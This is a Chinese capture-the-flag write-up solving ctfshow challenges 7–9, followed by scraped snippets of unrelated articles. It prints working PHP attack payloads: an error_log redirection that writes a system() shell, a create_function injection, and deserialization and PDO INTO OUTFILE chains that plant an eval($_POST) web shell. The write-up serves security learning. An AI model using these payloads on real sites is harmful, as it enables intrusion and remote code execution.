ctfshow 红包题
前言:
最近一直在搞java很少刷题,看见ctfshow的活动赶紧来复现一波~
ctfshow 红包挑战7
<?php
highlight_file(__FILE__);
error_reporting(2);
extract($_GET);
ini_set($name,$value);
system("ls '".filter($_GET[1])."'"
);function filter($cmd){$cmd = str_replace("'","",$cmd);$cmd = str_replace("\\","",$cmd);$cmd = str_replace("`","",$cmd);$cmd = str_replace("$","",$cmd);return $cmd;
}
代码很简单就是一个替换操作,然后一个system命令执行,变量覆盖还没想到如何利用
而且如果传参 ;则里面会显示 ls ';',所以猜测肯定是要闭合引号、或者注释字符这种
error_reporting(2); //常见的都是0 ,这里是个2很奇怪
extract($_GET);
ini_set($name,$value); //这里肯定是修改配置的
然后只能显示 ls /这种,没法截断和注释
(flag近在眼前,我却得不到。。。)
只能去看佬们的文章了
先查看扩展插件
?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731/
ini_set("display_errors", "On");//打开错误提示,与题目无关,只是扩展
ini_set("error_reporting",E_ALL);//显示所有错误,与题目无关,只是扩展ini_set("error_log",""/var/www/html/1.php");
//把报错信息写入web目录下的1.php文件中
error_reporting = E_ALL ;将会向PHP报告发生的每个错误
display_errors = Off ;不显示满足上条 指令所定义规则的所有错误报告
log_errors = On ;决定日志语句记录的位置
log_errors_max_len = 1024 ;设置每个日志项的最大长度
error_log = “你想存放日志文件的路径/php_error.log” ;指定产生的 错误报告写入的日志文件位置
知识点:
xdebug
在处理截断问题的时候,会将异常payload回显。而system刚好可以用0字节
(%00或者\000)进行截断来触发异常。
(涨知识了,第一次见这种通过修改报错日志的路径,然后利用截断报错写入日志
/?name=error_log&value=1.php
&1=("%0C%08%00%00"^"`{ %2f")<?php system("cat /*");?>还有佬们给出了这个wp但是没有解释
("%0C%08%00%00"^"`{ %2f")
(" "^"`{ /")但是我感觉也是%00截断报错
红包挑战8
<?phphighlight_file(__FILE__);
error_reporting(0);extract($_GET);
create_function($name,base64_encode($value))();
那么肯定是考察create_function的用法,$name和value的值可控,但是value经过了base64编码,所以着重利用$name
先回忆一下create_function的作用
<?php$action="\create_function";
$arg="){}var_dump(scandir(\"../\"));//";
$action($arg,'');
echo ($arg);
发现这篇文章的payload就能通,为啥早点没看懂。。。
JYcxk($name)
{ base64_encode($value) }
payload就相当于
JYcxk(){}
var_dump(scandir(\"../\"));
注释掉了后面,然后直接var_dump执行
红包挑战9
已经给出了源码那就直接分析
发现index.php中的注册可以跳转到
有file_put_contents方法,当时想的是能否用phar反序列化然后用C绕过wakeup,但是生成的那么一堆数据直接传肯定是不行呀。
然后接着看,发现了很多关于session的操作
1、session里面存放对象时,会自动进行序列化,存放序列化后的字符串
2、session里面拿取对象时,会自动进行反序列化,执行对象的魔术方法
session_decode($_GET)正好是序列化的操作,$data=$_SESSION['user']是反序列化的操作
看哪里调用了getLoginName,发现在index.php中不符合前面的条件就会包含main.php,
因为在
需要getCookie=NULL,所以需要在用户名中加一个|这样就不等于2,会返回null
实际测试,
发现序列化成功修改了文件,本来想直接修改filename然后反序列化,用C代替O绕过wakeup发现是不可行的。
思路
就是绕过wakeup不就可以自定义那个值了嘛,或者找个提前结束的东西
这里发现了一个die,那么让它执行到die,就会不执行wakeup直接执行destruct
然后就是构造这条链子
application::__destruct -->application::log_last_user-->mysql_helper
<?php
class mysql_helper{private $db;
}
class application{public $debug=true;public $loger;public $mysql;public function __construct(){$this->loger = new userLogger();$this->mysql = new mysql_helper();}
}
class userLogger{public $username='<?php eval($_POST[1]);phpinfo();?>';public $password="123456";public $filename="2.php";
}
$a = new application();
echo serialize($a);
看了师傅们的第二种方法是通过PDO数据库做的
果然, 没见过的东西都有trick
题目应该是开启了PDO扩展
(common.php中的mysql_helper类),用来连接数据库。
PHP中文手册->PDO_MYSQL预定义常量。查询到一个预定义常量叫PDO::MYSQL_ATTR_INIT_COMMAND。
它的描述翻译过来是:连接MySQL服务器时执行的命令(SQL语句)。将在重新连接时自动重新执行。注意,这个常量只能在构造一个新的数据库句柄时在driver_options数组中使用。
很纳闷我去php 手册找的时候,找不到这个常量(很奇怪)
既然能执行sql语句,
select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';
和上面基本一样也是调用pdo,只不过不用绕过wakeup了
<?php
session_start();
class mysql_helper
{public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';");
}
class application
{public $mysql;public $debug = true;public function __construct(){$this->mysql = new mysql_helper();}
}$a = new application();
echo urlencode(serialize($a));
总结
其实这几道题都是通过php的扩展来做,还是需要多翻php文档。
相关文章:

ctfshow 红包题
前言: 最近一直在搞java很少刷题,看见ctfshow的活动赶紧来复现一波~ ctfshow 红包挑战7 <?php highlight_file(__FILE__); error_reporting(2); extract($_GET); ini_set($name,$value); system("ls ".filter($_GET[1])."" )…...

SpringBoot项目(jar)部署,启动脚本
需求 SpringBoot项目(jar)部署,需要先关闭原来启动的项目,再启动新的项目。直接输入命令,费时费力,还容易出错。所以,使用脚本启动。 脚本 脚本名:start.sh 此脚本需要放置在jar包…...

大数据(四)主流大数据技术
大数据(四)主流大数据技术 一、写在前面的话 To 那些被折磨打击的好女孩(好男孩): 有些事情我们无法选择,也无法逃避伤害。 但请你在任何时候都记住: 你可能在一些人面前,一文不值&a…...

【已解决】激活虚拟环境报错:此时不应有Anaconda3\envs\[envs]\Library\ssl\cacert.pem。
新建虚拟环境后,进入虚拟环境的时候出现这样的报错: 此时不应有Anaconda3 envs yolov5 Library ssl cacert.pem。 但是之前装的虚拟环境也还能再次激活,base环境也无任何问题,仅新装的虚拟环境无法激活。 查遍了百度谷歌ÿ…...

Vue安装过程的困惑解答——nodejs和vue关系、webpack、vue-cli、vue的项目结构
文章目录 1、为什么在使用vue前要下载nodejs?2、为什么安装nodejs后就能使用NPM包管理工具?3、为什么是V8引擎并且使用C实现?4、为什么会安装淘宝镜像?5、什么是webpack模板?6、什么是脚手架 vue-cli?6.1 安…...
PWA ~
vite 安装: pnpm i vite-plugin-pwa -Dvite.config import { VitePWA } from vite-plugin-pwa export default defineConfig({plugins: [VitePWA()] })env.d.ts /// <reference types"vite-plugin-pwa/client" />打包构建:registerSW…...

YII项目在Docker中运行缓慢
缓慢问题分析 请求YII的api时间请求原生查询时间win10 上运行docker上的php api异常慢ubuntu 中拉代码git报错 请求YII的api时间 请求原生查询时间 win10 上运行docker上的php api异常慢 链接阿里数据的 入口直接返回的 网上有说是docker的dns解析慢; 也有说是…...

合宙Air724UG LuatOS-Air LVGL API控件--图表 (Chart)
图表 (Chart) 一幅图胜过一千个字,通过图表展示出的数据内容能让用户更快速有效的了解数据特征。 代码示例 – 创建图表 chart lvgl.chart_create(lvgl.scr_act(), nil) lvgl.obj_set_size(chart, 200, 150) lvgl.obj_align(chart, nil, lvgl.ALIGN_CENTER, 0, …...
Three.js之模型对象、材质
参考资料 三维向量Vector3与模型位置…克隆.clone()和复制.copy() 知识点 注:基于Three.jsv0.155.0 三维向量Vector3与模型位置欧拉Euler与角度属性.rotation模型材质颜色(Color对象)模型材质父类Material:透明、面属性模型材质和几何体属性克隆.clo…...

uniapp启动微信小程序开发者工具报错Enable IDE Service (y/N) [27D[27C
下载安装好微信小程序开发者路径 配置好启动路径后 报错[微信小程序开发者工具] ? Enable IDE Service (y/N) [27D[27C 解决办法 因为微信开发者工具的服务端口号没有打开...

Gitee注册和使用
个人主页:点我进入主页 专栏分类:C语言初阶 C语言程序设计————KTV C语言小游戏 欢迎大家点赞,评论,收藏。 一起努力,一起奔赴大厂。 目录 1.Gitee 1.1Gitee是什么 1.2Gitee的注册以及远程仓库的创建…...

【Flutter】下载安装Flutter并使用学习dart语言
前言 安装flutter, 并使用flutter内置的dartSDK学习使用dart语言。 编辑器: Android Studio fluuter 版本 : flutter_windows_3.13.1 内置dartSDK : 3.1.0 dart路径路径: flutter安装路径\bin\cache\dart-sdk 安装Flutter 下载安装包 flutter下载地址…...
HTTP返回状态值详解整理
一、总体 1xx:信息响应类,表示接收到请求并且继续处理 2xx:处理成功响应类,表示动作被成功接收、理解和接受 3xx:重定向响应类,为了完成指定的动作,必须接受进一步处理 4xx:客户端错误,客户请求包含语法错误或者是不能…...

python web 开发与 Node.js + Express 创建web服务器入门
目录 1. Node.js Express 框架简介 2 Node.js Express 和 Python 创建web服务器的对比 3 使用 Node.js Express 创建web服务器示例 3.1 Node.js Express 下载安装 3.2 使用Node.js Express 创建 web服务器流程 1. Node.js Express 框架简介 Node.js Express 是一种…...

OpenCV(三):Mat类数据的读取
目录 1.Mat类矩阵的常用属性 2.Mat元素的读取 1.at方法读取Mat矩阵元素 at (int row,int col) 2.矩阵元素地址定位方式访问元素 3.Android jni demo 1.Mat类矩阵的常用属性 下面是一些Mat类的常用属性: rows: 返回Mat对象的行数。 cols: 返回Mat对象的列数。 …...

区块链BaaS篇
区块链BaaS(Blockchain as a Service)区块链即服务;感觉5年前做的BaaS和现在做的BaaS没啥区别,换了批人重复造轮子,BaaS做的越来越乱,也越来越中心化。BaaS是方便区块链调用的工具,工具是方便使…...

C++|观察者模式
观察者模式: 定义对象间的一种一对多(变化)的依赖关系,以便当一个 对象(Subject)的状态发生改变时,所有依赖于它的对象都 得到通知并自动更新 动机: 在软件构建过程中,我们需要为某些对象建立…...

【java 入侵 C# 之路】1-入门
感谢 https://www.cnblogs.com/mww-NOTCOPY/p/12213373.html 百度百科 jvm对应clr java se runtime对应 .net framework, jdk对应 .net framework sdk, java对应C# .NET 是开发者平台,它包含开发环境、技术框架、社区论坛、服务支持等&…...

【git】从一个git仓库迁移到另外一个git仓库
在远端服务器创建一个新的仓库 用界面创建,当然也可以用命令创建 拉去源仓库 git clone --bare git192.168.10.10:java/common.gitgit clone --bare <旧仓库地址>拉去成功以后会出现 进入到文件夹内部 出现下面信息: 推送到新的远端仓库 git …...

控制goroutine 的并发执行数量
goroutine的数量上限是1048575吗? 正常项目,协程数量超过十万就需要引起重视。如果有上百万goroutine,一般是有问题的。 但并不是说协程数量的上限是100多w 1048575的来自类似如下的demo代码: package mainimport ( "fmt" "ma…...

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式
一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明:假设每台服务器已…...

调用支付宝接口响应40004 SYSTEM_ERROR问题排查
在对接支付宝API的时候,遇到了一些问题,记录一下排查过程。 Body:{"datadigital_fincloud_generalsaas_face_certify_initialize_response":{"msg":"Business Failed","code":"40004","sub_msg…...

【人工智能】神经网络的优化器optimizer(二):Adagrad自适应学习率优化器
一.自适应梯度算法Adagrad概述 Adagrad(Adaptive Gradient Algorithm)是一种自适应学习率的优化算法,由Duchi等人在2011年提出。其核心思想是针对不同参数自动调整学习率,适合处理稀疏数据和不同参数梯度差异较大的场景。Adagrad通…...
Spring Boot 实现流式响应(兼容 2.7.x)
在实际开发中,我们可能会遇到一些流式数据处理的场景,比如接收来自上游接口的 Server-Sent Events(SSE) 或 流式 JSON 内容,并将其原样中转给前端页面或客户端。这种情况下,传统的 RestTemplate 缓存机制会…...

(二)TensorRT-LLM | 模型导出(v0.20.0rc3)
0. 概述 上一节 对安装和使用有个基本介绍。根据这个 issue 的描述,后续 TensorRT-LLM 团队可能更专注于更新和维护 pytorch backend。但 tensorrt backend 作为先前一直开发的工作,其中包含了大量可以学习的地方。本文主要看看它导出模型的部分&#x…...

WordPress插件:AI多语言写作与智能配图、免费AI模型、SEO文章生成
厌倦手动写WordPress文章?AI自动生成,效率提升10倍! 支持多语言、自动配图、定时发布,让内容创作更轻松! AI内容生成 → 不想每天写文章?AI一键生成高质量内容!多语言支持 → 跨境电商必备&am…...
Unit 1 深度强化学习简介
Deep RL Course ——Unit 1 Introduction 从理论和实践层面深入学习深度强化学习。学会使用知名的深度强化学习库,例如 Stable Baselines3、RL Baselines3 Zoo、Sample Factory 和 CleanRL。在独特的环境中训练智能体,比如 SnowballFight、Huggy the Do…...
3403. 从盒子中找出字典序最大的字符串 I
3403. 从盒子中找出字典序最大的字符串 I 题目链接:3403. 从盒子中找出字典序最大的字符串 I 代码如下: class Solution { public:string answerString(string word, int numFriends) {if (numFriends 1) {return word;}string res;for (int i 0;i &…...

Unity | AmplifyShaderEditor插件基础(第七集:平面波动shader)
目录 一、👋🏻前言 二、😈sinx波动的基本原理 三、😈波动起来 1.sinx节点介绍 2.vertexPosition 3.集成Vector3 a.节点Append b.连起来 4.波动起来 a.波动的原理 b.时间节点 c.sinx的处理 四、🌊波动优化…...

2025季度云服务器排行榜
在全球云服务器市场,各厂商的排名和地位并非一成不变,而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势,对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析: 一、全球“三巨头”…...